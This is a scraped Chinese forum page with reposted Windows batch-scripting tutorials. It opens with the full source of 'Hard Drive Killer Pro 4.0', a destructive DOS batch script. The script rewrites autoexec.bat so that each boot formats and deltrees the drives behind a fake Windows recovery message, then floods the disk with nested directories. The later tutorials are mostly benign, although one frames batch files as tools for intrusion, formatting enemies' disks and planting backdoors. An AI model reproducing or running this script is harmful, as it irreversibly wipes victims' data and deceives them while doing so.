if %drive.==. set drive=c



:form_del

call attrib -r -h c:autoexec.bat >nul

echo @echo off >c:autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys

tem . . . >>c:autoexec.bat

echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:au

toexec.bat

echo cls >>c:autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys

tem . . . >>c:autoexec.bat

echo for %%%%a in (%drive%) do call c: emp.bat %%%%a Bunga >nul >>c:autoexec.b

at

echo cls >>c:autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys


tem . . . >>c:autoexec.bat

echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat

echo cls >>c:autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys

tem . . . >>c:autoexec.bat

echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:au

toexec.bat

echo cls >>c:autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys

tem . . . >>c:autoexec.bat

echo for %%%%a in (%drive%) do call c: emp.bat %%%%a Bunga >nul >>c:autoexec.b

at

echo cls >>c:autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys

tem . . . >>c:autoexec.bat

echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat

echo cd >>c:autoexec.bat

echo cls >>c:autoexec.bat

echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer

version 4.0. >>c:autoexec.bat

echo echo If you ran this file, then sorry, I just made it. The purpose of this

program is to tell you the following. . . >>c:autoexec.bat


echo echo 1. To make people aware that security should not be taken for granted.

>>c:autoexec.bat

echo echo 2. Love is important, if you have it, truly, dont let go of it like I

did! >>c:autoexec.bat

echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad y

our HD is dead. >>c:autoexec.bat

echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Part

y.>>c:autoexec.bat



echo echo. >>c:autoexec.bat

echo echo Regards, >>c:autoexec.bat

echo echo. >>c:autoexec.bat

echo echo Munga Bunga >>c:autoexec.bat

call attrib +r +h c:autoexec.bat



:makedir

if exist c: emp.bat attrib -r -h c: emp.bat >nul

echo @echo off >c: emp.bat

echo %%1: >>c: emp.bat

echo cd >>c: emp.bat

echo :startmd >>c: emp.bat

echo for %%%%a in (if not exist %%2
ul md %%2 if exist %%2
ul cd %%2) do %


%%%a >>c: emp.bat

echo for %%%%a in (>ass_hole.txt) do echo %%%%a Your Gone @$$hole!!!! >>c: em

p.bat

echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%

%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%

%2\%%2\%%2\%%2
ul goto startmd >>c: emp.bat

call attrib +r +h c: emp.bat >nul



cls

echo Initializing Variables . . .

rem deltree /y %%a:*. only eliminates directories, hence leaving the file creat

ed above for further destruction.

for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

for %%a in (%drive%) do call c: emp.bat %%a Munga >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

for %%a in (%drive%) call attrib -r -h %%a: /S >nul


call attrib +r +h c: emp.bat >nul

call attrib +r +h c:autoexec.bat >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

echo Initializing Application . . .



for %%a in (%drive%) call deltree /y %%a:*. >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

echo Initializing Application . . .

echo Starting Application . . .

for %%a in (%drive%) do call c: emp.bat %%a Munga >nul



cls

echo Thank you for using a Munga Bunga product.

echo.

echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius

..


echo.

echo Here is a joke for you . . .

echo.

echo Q). Whats the worst thing about being an egg?

echo A). You only get laid once.

echo.

echo HAHAHAHA, get it? Dont you just love that one?

echo.

echo Regards,

echo.

echo Munga Bunga



:end



rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

rem Author: Munga Bunga - from Australia, the land full of retarded Australians

(help me get out of here).



No.7

七、致謝&一些廢話

謹以此文獻給所有為實現網絡的自由與共享而努力的朋友們。感謝所有共享他們作品的朋友

們,讓我們為我們的理想一起努力!!


本人只提供此教程和有限技術支持,若因此教程而導致相關人員、團體的利益受到侵害,本

人拒絕承擔任何法律責任,一切責任由相關當事人承擔。

本教程不保留任何版權,您可以自由修改傳播,但是當您增加某些內容時,請發一份給我,讓我

也一起分享您的成果.但是未經本人同意不得將本教程用于商業活動,若您一定要,請確保所

得利益的85%用于公益事業(請聯系本人並出示相關出示憑証),否則本人保留起訴並追究

當事人相關法律責任的權利.如需轉載請保留以下信息,謝謝!  
冷日
(冷日)
Webmaster
  • 註冊日: 2008/2/19
  • 來自:
  • 發表數: 15771
[轉貼]深入淺出 Windows BATCH

深入淺出Windows BATCH

1.什麼是Windows BATCH

BATCH也就是批處理文件,有時簡稱為BAT,是Windows平台上的一種可執行腳本,與*nix(Linux和Unix)上的Shell腳本和其他的腳本(Perl,Python)等是一樣的,實質上就是一個文本文件,但是用特定的軟件去解釋的時候,就變成了可執行腳本。在Windows上,可執行腳本就是BATCH文件,也叫批處理文件,這是從DOS時代遺留下來的名字,意思就是把很多命令放到一起來執行。它的擴展名是*.bat,雙擊便可直接運行,在命令行(CMD或叫做命令提示符)下面也可以當作一個命令來運行。因為這是Windows支持的東西,所以只能在Windows平台使用。(特殊情況除外,不要鑽牛角尖,沒意思的)。比如著名的Windows垃圾清理小工具就是一個BAT批處理文件。

2. 為什麼需要BAT

歸根結底是為了提高工作效率。這個解釋起來比較費勁,因為在GUI大行其道的今天,再提命令行,很多人會不熟悉,或者認為這是倒退。但是眾多關於提高工作效率的書籍都會提到命令行可以大大的提高效率,因為命令可以方便的直接寫路徑,而不用在文件瀏覽器中一層一層的打開,和命令行可以把命令組合起來,也就是把不同的命令組合起來來完成一個任務,而不用打開多個GUI窗口來做(甚至很多時候GUI窗口都是無法完成的)。對於這點*nix的程序猿們應該最有體會,真正的*nix高手是不會離開命令行的。他們的工作只需打開一個Terminal(命令行),編輯用Vim,其他全都用命令行的工具來完成,甚至他們都不用鼠標!

Windows的CMD沒有*nix的Terminal那麼強大,所以完全在其內做開發有點不切實際,雖然有很多工具可以讓CMD變得強大些,但是還是無法達到*nix那樣的地步,因為它們從根本上就是走的不同的路線*nix是為了開發人員準備的,而Windows是為了普通大眾準備的。
再說的具體一點就是為了DRY和Automation,也就是說讓計算機幫你完成一些機械重複性的工作任務(對於DRY和Automation可以參考《The Productive Programmer》和《Pragmatic Programmer》)。因為BAT可以組合命令,所以某個操作需要超過一個命令,或者參數較多時,或者路徑較長時,就可以把它寫成BAT,變成一個簡單的命令,一次二個可能沒感覺,但是當天天都用時,就省去了大量的Typing。舉個例子,比如我要經常性的在手機上抓取Tcpdump,然後查看,通常要用到如下的命令:

D:\>adb shell tcpdump -p -s 0 -i any -w /sdcard/capture.pcap
D:\>adb pull /sdcard/capture.pcap .
然後再用Wireshark去查看這個文件。如果一個一個的去敲的話,容易寫錯,通常要試幾次才能成功。但是如果寫一個BAT腳本的話:


::tcpdump.bat
@echo off
set dir=/sdcard
set file=capture.pcap
adb shell rm -r %dir%/%file%
adb shell tcpdump -p -s 0 -i any -w %dir%/%file%
@echo on
::gettcpdump.bat
@echo off
set dir=/sdcard
set file=capture.pcap
set wireshark="C:\Program Files\Wireshark\Wireshark.exe"
del /q %file%
adb remount
adb pull %dir%/%file% .
%wireshark% %file%
@echo on
第一個腳本tcpdump.bat是抓取,第二個腳本是查看所抓取的數據,我每次只需運行這二個命令就可以輕鬆的查看:


D:\>tcpdump
Press Ctrl-C to stop capturing
D:\>gettcpdump
之後Wireshark就會把所抓取的數據打開,直接看就行了。

3. 哪裡可以用到BAT

任何需要重複做的事情都可以嘗試用腳本來完成。比如,每天的版本更新,拷貝文件,每天都使用的命令等等。如前面所說的,只要某些事情你超過第二次做,或者每天都做幾十次,就應該考慮用BAT。或者,某些命令很複雜,也要使用BAT,即使把二個簡單命令合成一個BAT也是值得的。比如,調試的時候要查看手機內的數據,就可以用腳本來完成:

::getmmsdb.bat
@echo off
set datadir=/data/data/com.android.providers.telephony/databases
set mmsdb=mmssms.db
del /q %mmsdb%
adb remount
adb pull %datadir%/%mmsdb% .
sqlite3 %mmsdb%
@echo on
因為BAT中可以寫任何可以在CMD命令行中運行的命令,另外,很多應用程序也提供了命令版本,比如WinRAR,如果你需要從某個地方拷貝東西並解壓,就可以用BAT:


::copyversion.bat
@echo off
del /q stable.rar
set winrar="C:\Program Files\WinRAR\WinRAR.exe"
copy /y \\192.168.0.1\version\release\stable.rar .
%winrar% x stable.rar
@echo on
不管怎麼樣,這都比手動去做要來的方便。

另外就是*nix上面的很多實用命令行程序都有了Windows的版本,比如Subversion,它有一個版本就是專門用於命令行的,所以把所安裝的軟件與內置的一些命令組合起來,可以創造出很強大的Automation的工具。
還有一點就是第三方工具的拓展,Windows本身的內置命令很少,但是有第三方的工具來拓展它比如PowerShell等,加之這些工具,可以讓程序員的工具箱更加的豐富和強大。
其實,這裡最關鍵的地方不在BAT,或者你是否會寫這樣的腳本,而是在於你能否意識到BAT腳本可以替代手工。可以讀一讀《The Productive Programmer》和《Pragmatic Programmer》來獲取點靈感。

4. 如何使用BAT

BAT是一個可執行腳本,也就是說它跟一個*.exe可執行程序一樣,只要雙擊它就可以執行了。另外的方式就是通過CMD在命令行中啟動它,但需要給出它的路徑,也就是說要讓解釋程序能找到它,所以推薦的做法是把所寫的BAT收集整理到一個文件夾中,然後把這個文件放到系統的環境變量PATH中去,這樣就可以在任何的路徑中使用了。
如,我的配置是這樣的,把所有的BAT放在D:\work\bin下面,然後把D:\work\bin加到Path變量中去。
添加環境變量的方法是右擊"我的電腦"-->"屬性"-->"高級"-->環境變量-->在用戶變量中編輯Path(如果沒有就新加一個)然後把D:\work\bin加入其中,與其他的路徑用分號;分隔。之後就可以像運行內置命令一樣來運行它了。(如果你有權限,也可修改系統變量)。

5. 如何寫BAT

0. 文件的編輯

它就是一個文本文件,所以用最簡單的記事本就可以編輯。當然,你用其他的強大的工具也可以,比如如果用Vim編輯還能有語法高亮等VIP級待遇。無論用什麼編輯器,一定要注意保存時一定把要文件的擴展名記為*.bat,否則就不再是可執行腳本了,大家都是程序猿,你們懂得。
前面提到了,BAT其實就是把CMD中的命令或其他可執行命令組合到一起,所以BAT的基石是命令,下面重點講下命令。

1. 基本命令及其通用的規則

這裡指的基本命令是指CMD命令中的的內置命令,也就是help命令所顯示的命令,不包括在環境變量中的以及第三方的,那些是外部命令。
基本的命令有文件操作,文件夾操作,時間等等。比如:del, ren, rd, cd, copy, xcopy, time等等。

a. 命令的一般格式

與*nix系統的命令的一樣,它的格式也都是
command [options] [arguments]
其中options是控制和改變命令的行為,每個選項必須以/開頭,後面跟選項,可以把多個選項連在一起寫,也可以用空格格開,每個選項也可以跟自己的參數。arguments就是傳遞給命令的參數,也就是要命令所執行的對象。如:

del /f /q /s tmp
這裡/f /q /s就是三個選項/f意思是強制刪除,/q是安靜模式,也就是刪除前不提示,/s是刪除子目錄;而tmp則是要刪除的對象也就是del命令的參數。
dir /on tmp

這裡的話/on是它的選項,其中/o是選項,意思是排序,而n是選項的參數,合起來就是按名字排序。
通常,一個命令都有缺省的選項和參數,也就是說你不指定,也會有。具體選項不同的命令會有不同的選項。

b. 一些通用的選項:

雖然不同的命令有著不同的參數,但是有一些共同的:

  • /?  顯示幫助信息,所有的命令都有(跟*nix的-h一樣)
  • /s  對於文件夾操作來講是包括子目錄(跟*nix的-r一樣)
  • /q  安靜模式,也就是某些操作不要提示,比如刪除時,或覆蓋文件時不要提示

c. 獲取幫助

不可能記住所有的東西,所以每當遇到一個命令時就要獲取其幫助信息。
help command

command /?
就可以看到command的幫助信息。而直接用help命令,則可以查看CMD命令行的幫助,也就是說它支持哪些內置命令。需要注意的是help只能查看有哪些內置以及顯示內置命令的幫助信息。對於那些在環境變量Path中的命令,它是無法獲取幫助信息的,對於那些命令,只能通過命令本身去找幫助信息。

2. 擴展命令

就是CMD命令行非內置的,存在於環境變量Path中的命令,這些命令使用起來跟內部命令無區別,都可以在CMD中直接調用。這些命令通常都是由第三方或操作系統提供,完成某些特定領域的功能,比如C:\Windows\System和C:\Windows\System32下的很多可執行程序,都可做為外部命令來使用,比如你在命令行中直接輸入notepad然後按回車,記事本就會打開。以及安裝的第三方程序如WinRAR等。
這些程序或許支持命令模式,或許不支持,這個要去參考程序的文檔,另外,即使其支持命令行,選項和參數也要參考文檔。

3. 註釋和@及echo off

在BAT中以二個冒號開頭的一行為註釋,::只能註釋一行,且必須在一行的開頭
如:
:: This is a comment
:: copy a file to somewhere
@與echo off的作用一樣,都是DOS 批處理的一個特殊標記符, 僅用於屏蔽命令行回顯。其中@只能影響當前行,而echo off是關閉,直到echo on把回行顯示打開。二個主要在BAT腳本中運用,在命令行中直接用看不出不同。在BAT中每當執行一個命令時,都會在CMD命令中顯示出這個命令,比如:
::mydir.bat
dir /on
這樣的腳本在運行時會是這樣的:
D:\>mydir
D:\>dir /on
(顯示文件夾的內容)

為了在執行腳本時不顯示當前命令,就要用到關閉回行顯示功能@和echo off,所以幾乎每個BAT都有這二行
@echo off
....
@echo on
在開始腳本前關閉回行顯示,然後在結束時再打開。用@的目的是把關閉回行顯示命令的回行顯示也不要顯示出來(抱歉,有點繞)。
為什麼要關閉回行顯示呢?因為回行顯示會跟所執行命令的輸出混全在一起,所以看起來很不爽,特別是當BAT腳本的命令比較多時,所以要關閉它。

4. 管道

與*nix一樣,BAT中也可以使用管道,可以使用管道來把命令組合起來,比如最常見的使用方式就是:
type logfile.txt | more
以分屏查看。

5. 變量的定義和使用

在BAT中用set命令來定義一個變量,然後用二個百分號來引用這個變量,所引用的地方全用所定義的值來完全替換,如:

D:\>set logfile="D:\logs\log.txt"
D:\>echo %logfile%
D:\logs\log.txt

6. 重定向

與*nix一樣BAT也支持文件流重定向。

  • <    重定向輸入流,最常用的方式是用文件代替標準輸入
  • >    重定向輸出流,最常用的方式是把程序執行結果放到文件中
  • >>   重定向輸出流,添加模式,也就是說從文件尾部開始添加,最常用的地方是保存Log用

雖然Windows看起來與*nix相去甚遠(特別是前幾年),但是BAT裡面有著跟*nix和SHELL類似的一些重要的特性(管道和重定向),所以BAT還是相當強大的,雖然不能跟SHELL比,但是至少可以幫助我們完成很多機械重複的工作。

7. 命令行參數

跟編程語言(C, C++, Java, Perl)和SHELL一樣,BAT也支持命令行參數,也就是執行命令時所給的參數。在BAT中用%[1-9]來引用它們,如:
::mytype.bat
@echo off
type %1
type %2
那麼在運行時,
C:\>mytype one.txt two.txt
其中%1就是one.txt,%2就是two.txt
跟C和C++語言一樣,還有一個%0可以用它就是腳本的名字。

8. start命令

在*nix的SHELL中可以用command &的形式來在後台運行一個命令,也就是用一個新進程來運行命令,而不阻塞下面的命令。有些時候這個很有用,比如你想用BAT打開幾個XLSX文件,用如下腳本:

::openxls.bat
@echo off
set excel="C:\Program Files\Microsoft Office\Office12\EXCEL.EXE"
%excel% "D:\documents\status.xlsx"
%excel% "E:\report\report.xlsx"
@echo on
這樣會有問題,運行到打開第一個文件時會停在那裡,除非你關掉status.xlsx否則,它會阻塞在那裡,第二個文件不會執行到。

解決方法就是為每一個會阻塞的命令開啟一個新的進程,用start命令:

::openxls.bat
@echo off
set excel="C:\Program Files\Microsoft Office\Office12\EXCEL.EXE"
start %excel% "D:\documents\status.xlsx"
start %excel% "E:\report\report.xlsx"
@echo on
這樣的話,二個文件都會被打開。

9. BAT的不足之處

前面都在說BAT如何強大,但是畢竟Windows沒有像*nix那樣給予命令行的強大支持,它跟SHELL相比還差的很遠,在執行命令和文件操作方面可能沒什麼大差別,但是在某些方面它還很弱:

a. 輸入的處理

雖然可以用<來重定向輸入流,但是它對輸入的處理很弱,特別的它沒的讀取的命令(SHELL中的read),它也不能按行讀入文件。所以當涉及到文件處理時,它就顯得力不從心了。

b. 文本處理的能力

如上一條說,很多時候能需要從一個文本文件讀取內容,然後對其做一些處理。這點上面BAT很弱,跟SHELL是沒法比的。因為SHELL本身有靈活的讀取函數,可以按行讀,也可以把一行按不同的單詞來讀,再加上其本身有字串處理函數,還有就是*nix有豐富的字串處理命令如grep, sed, ed, awk等等。當然,現在這些東西也都有了Windows的版本。但是用BAT來處理文件還是一個相當麻煩的事。
對於文本處理,最好是能用Perl等程序性的腳本來寫,它在處理輸入,讀取和處理,以及正則表達式上都有很好的支持。

10. 開機自動運行

某些軟件會有內部選項以達到開機自動運行,甚至它總是開機自動運行,比如著名的QQ,迅雷暴風影音等等。對於我來說這些都是流氓軟件,特別是那些無法取消其開機自動運行的,會造成開機時很卡。
但是我們日常工作都需要開一些固定的軟件,比如郵件客戶端,Eclipse,打開某個特定的文件夾,打開某個特定的網頁等等。這些正派的軟件反倒沒有「開機自動運行」選項,怎麼辦呢?這時BAT就派上大用場了,可以寫一個叫做startup.bat,在裡面把要運行的程序都寫上,然後在Start Menu的Startup文件夾中建一個指向我們startup.bat的快捷方式:


:: startup.bat
@echo off
"C:\WINDOWS\explorer.exe" "C:\Documents and Settings\User\桌面\alex"
set ie="C:\Program Files\Internet Explorer\iexplore.exe"
set mail="https://webmail.microsoft.com/"
start %ie% %mail%
start "C:\Program Files\Microsoft Office\Office12\EXCEL.EXE" "D:\documents\report.xlsx"
start mstsc d:\work\rdps\linux.RDP
start mstsc d:\work\rdps\windows.RDP
ddms.bat
clean.bat
D:\eclipse-java-galileo-SR2-win32\eclipse.exe
@echo on
每個工具都有其優勢和不足,我們要做的就是用正確的工具去做正確的事,以期達到最高效的工作效率。雖然有Perl等更加強大的工具,雖然有PowerTools等拓展工具。但是當你有環境的限制的時候,比如由於工作環境的限制,你只有一個Windows系統,沒有Perl或PowerTools時,你能用的就只有BAT了。這個時候就要發揮BAT的威力了,複雜的它做不了,但是簡單的它還是能很好的勝任的。

腳本,強大也好,局限也罷,是為了幫助我們解決一些重複性的問題的。所以關鍵不在腳本,而是在於我們要發現日常工作中的重複性的勞動,然後用腳本來替代。切記,計算機的重複性遠比人好,而且計算機就是被設計用來代替人類做一些機械重複的工作的,這是它的使命,讓它完成它的使命吧!


參考資料:這幾篇文章介紹的比較詳細
基本介紹
  」石頭札記 批處理文件「
這二個哥們寫了很多操作字串的BAT
 "DOS -string operations"
  "DOS - String Manipulation"


原文出處: 深入浅出Windows BATCH - 浪人的星空 - 博客频道 - CSDN.NET
冷日
(冷日)
Webmaster
  • 註冊日: 2008/2/19
  • 來自:
  • 發表數: 15771
[轉貼]windows 批處理(cmd/bat)編程詳解

windows批處理(cmd/bat)編程詳解

       開始之前先簡單說明下cmd文件和bat文件的區別:在本質上兩者沒有區別,都是簡單的文本編碼方式,都可以用記事本創建、編輯和查看。兩者所用的命令行代碼也是共用的,只是cmd文件中允許使用的命令要比bat文件多。cmd文件只有在windows2000以上的系統中才能運行,而bat文件則沒有這個限制。從它們的文件描述中也可以看出以上的區別:cmd文件的描述是「windows nt命令腳本」, bat文件的描述是「ms dos批處理文件」

 

    如果沒有一定的相關知識恐怕不容易看懂和理解批處理文件,也就更談不上自己動手編寫了.批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴展名為 .bat 或 .cmd。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件(也被稱為批處理程序或腳本),可以簡化日常或重複性任務。當然我們的這個版本的主要內容是介紹批處理在入侵中一些實際運用,例如我們後面要提到的用批處理文件來給系統打補丁、批量植入後門程序等。下面就開始我們批處理學習之旅吧。

 

1.  簡單批處理內部命令簡介

1)   echo 命令

       打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{ on|off }] [message]
Sample 1 :


       @echooff

       echohello world

Sample 2 :

@echo off

echo 1

echo.

echo 2

echo on

echo 3

pause

在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。

c:\>dir *.txt > 1.txt

c:\>dir *.txt >> 1.txt

2)   @ 命令

    表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能讓對方看到你使用的命令啦。
Sample:@echo off

3)   goto 命令

指定跳轉到標籤,找到標籤後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms(如果這裡的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標籤的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標籤,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4)   rem 命令


註釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個註釋的作用,便於別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.

5) pause 命令

運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁盤上的所有文件均複製到d:\\back中。顯示的註釋提示您將另一張磁盤放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁盤,然後按任意鍵繼續處理。

6) call 命令

從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標籤。如果在腳本或批處理文件外使用 call,它將不會在命令行起作用

語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive: }[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。

7) start 命令

Start

啟動單獨的「命令提示符」窗口來運行指定程序或命令。如果在沒有參數的情況下使用,start 將打開第二個命令提示符窗口。

 

語法


start ["title"] [/dPath] [/min] [/max] [{/separate |/shared}] [{/low | /normal | /high | /realtime | /abovenormal | belownormal}][/wait] [/B] [FileName] [parameters]

 

參數

"title" 指定在「命令提示符」窗口標題欄中顯示的標題。

/dpatch 指定啟動目錄。

/i 將 Cmd.exe 啟動環境傳送到新的「命令提示符」窗口。

/min 啟動新的最小化窗口。

/max 啟動新的最大化窗口。

/separate 在單獨的內存空間啟動 16 位程序。

/shared 在共享的內存空間啟動 16 位程序。

/low 以空閒優先級啟動應用程序。

/normal 以一般優先級啟動應用程序。

/high 以高優先級啟動應用程序。

/realtime 以實時優先級啟動應用程序。

/abovenormal 以超出常規優先級的方式啟動應用程序。

/belownormal 以低出常規優先級的方式啟動應用程序。

/wait 啟動應用程序,並等待其結束。

/b 啟動應用程序時不必打開新的「命令提示符」窗口。除非應用程序啟用 CTRL+C,否則將忽略 CTRL+C 操作。使用 CTRL+BREAK 中斷應用程序。

非執行文件只要將文件名作為命令鍵入,即可通過其文件關聯運行該文件。有關使用 assoc 和 ftype 在命令腳本中創建這些關聯的詳細信息,請參閱「」。

在運行的命令的第一個標記為「CMD」字符串但不包括擴展名或路徑限定符時,「CMD」將被 COMSPEC 變量的值取代。這樣可以防止用戶從當前目錄選取 cmd。


當您運行 32 位圖形用戶界面 (GUI) 應用程序時,cmd 不會在返回到命令提示符之前等待應用程序退出。如果從命令腳本運行應用程序,則不會發生這種新情況。在運行的命令中第一個符號不包括擴展名的情況下,Cmd.exe 使用 PATHEXT 環境變量的值確定要查找的擴展名以及查找順序。PATHEXT 變量的默認值為:COM;.EXE;.BAT;.CMD(語法與 PATH 變量相同,使用分號分開不同元素)。當您搜索可執行文件且在任何擴展名上都沒有匹配項時,start 將搜索目錄名。

 

具體例子:

說明:如果你所在程序的路徑中帶有空格,那麼必須用「」把路徑括起來,否則系統會提示找不到XX文件,另外,在運行某些程序時,需在路徑的前面加一對空白的「」,表示創建一個空白的窗口,它指向的程序是XXXXXXXX。還有就是別忘了空格。

 

當我想運行位於「D:\draw\」的「photoshop.exe」使,應該使用以下命令:

start 「」「D:\draw\photoshop.exe」 表示以常規窗口運行程序

 

如果想讓程序以最大化窗口運行,則使用以下命令:

 

start /max「」「D:\draw\photoshop.exe」 表示以最大化窗口運行程序

 

最小化這是這樣:

 

start /min "" "D:\draw\photoshop.exe" 表示以最小化窗口運行程序

 

等待某個程序允許完畢,也就是窗口關閉後,再打開下一個程序這可以這樣:

 

start /w "" "D:\draw\photoshop.exe"

start "" cmd.exe

 

start /min 「」 「e:\t.cmd」

8) choice 命令


choice 使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字符,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\\dos\\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。

 

9) If 命令

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字符串"  待執行的命令
參數如果等於指定的字符串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
如if "%1"=="a" format a:
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms

2、if exist 文件名  待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句

如if exist config.sys edit config.sys


3、if errorlevel / if not errorlevel 數字  待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2  
DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

10)for 命令

FOR這條命令基本上都被用來處理文本,但還有其他一些好用的功能!

看看他的基本格式(這裡我引用的是批處理中的格式,直接在命令行只需要一個%號)
FOR 參數 %%變量名 IN (相關文件或命令) DO 執行的命令

參數:FOR有4個參數 /d   /l   /r   /f   他們的作用我在下面用例子解釋
%%變量名 :這個變量名可以是小寫a-z或者大寫A-Z,他們區分大小寫,FOR會把每個讀取到的值給他;
IN:命令的格式,照寫就是了;
(相關文件或命令) :FOR要把什麼東西讀取然後賦值給變量,看下面的例子
do:命令的格式,照寫就是了!
執行的命令:對每個變量的值要執行什麼操作就寫在這.

可以在CMD輸入for /?看系統提供的幫助!對照一下
FOR %%variable IN (set) DO command [command-parameters]

%%variable 指定一個單一字母可替換的參數。
(set)      指定一個或一組文件。可以使用通配符。
command    指定對每個文件執行的命令。
command-parameters
             為特定命令指定參數或命令行開關。


現在開始講每個參數的意思

/d
僅為目錄

如果 Set (也就是我上面寫的 "相關文件或命令") 包含通配符(* 和 ?),將對與 Set 相匹配的每個目

錄(而不是指定目錄中的文件組)執行指定的 Command。

系統幫助的格式:FOR /D%%variable IN (set) DO command
他主要用於目錄搜索,不會搜索文件,看這樣的例子

@echo off
for /d %%i in (*) do @echo %%i
pause

把他保存放在C盤根目錄執行,就會把C盤目錄下的全部目錄名字打印出來,而文件名字一個也不顯示!
在來一個,比如我們要把當前路徑下文件夾的名字只有1-3個字母的打出來

@echo off
for /d %%i in (???) do @echo %%i
pause

這樣的話如果你當前目錄下有目錄名字只有1-3個字母的,就會顯示出來,沒有就不顯示了


思考題目:

@echo off
for /d %%i in (window?) do @echo %%i
pause

保存到C盤下執行,會顯示什麼呢?自己看吧!
/D參數只能顯示當前目錄下的目錄名字,這個大家要注意!

/R
遞歸
進入根目錄樹[Drive:]Path,在樹的每個目錄中執行for 語句。如果在 /R 後沒有指定目錄,則認為是

當前目錄。如果 Set 只是一個句點 (.),則只枚舉目錄樹。
系統幫助的格式:FOR /R[[drive:]path] %%variable IN (set) DO command

上面我們知道,/D只能顯示當前路徑下的目錄名字,那麼現在這個/R也是和目錄有關,他能幹嘛呢?放心他比

/D強大多了!
他可以把當前或者你指定路徑下的文件名字全部讀取,注意是文件名字,有什麼用看例子!

@echo off
for /r c:\ %%i in (*.exe) do @echo %%i
pause


咋們把這個BAT保存到D盤隨便哪裡然後執行,我會就會看到,他把C盤根目錄,和每個目錄的子目錄下面全部

的EXE文件都列出來了,這裡的c:\就是目錄了。

再來一個
@echo off
for /r %%i in (*.exe) do @echo %%i
pause

參數不一樣了,這個命令前面沒加那個C:\也就是搜索路徑,這樣他就會以當前目錄為搜索路徑,比如你這

個BAT你把他防災d:\test目錄下執行,那麼他就會把D:\test目錄和他下面的子目錄的全部EXE文件列出

來!!!


/L
迭代數值範圍
使用迭代變量設置起始值(Start#),然後逐步執行一組範圍的值,直到該值超過所設置的終止值 (End#)

。/L 將通過對 Start# 與 End# 進行比較來執行迭代變量。如果 Start# 小於 End#,就會執行該命令。

如果迭代變量超過 End#,則命令解釋程序退出此循環。還可以使用負的 Step# 以遞減數值的方式逐步執

行此範圍內的值。例如,(1,1,5)生成序列 1 2 3 4 5,而 (5,-1,1) 則生成序列 (5 4 3 2 1)。語法是:

系統幫助的格式:for /L%% Variable in (Start#,Step#,End#) do Command

例如:

@echo off
for /l %%i in (1,1,5) do @echo %%i
pause

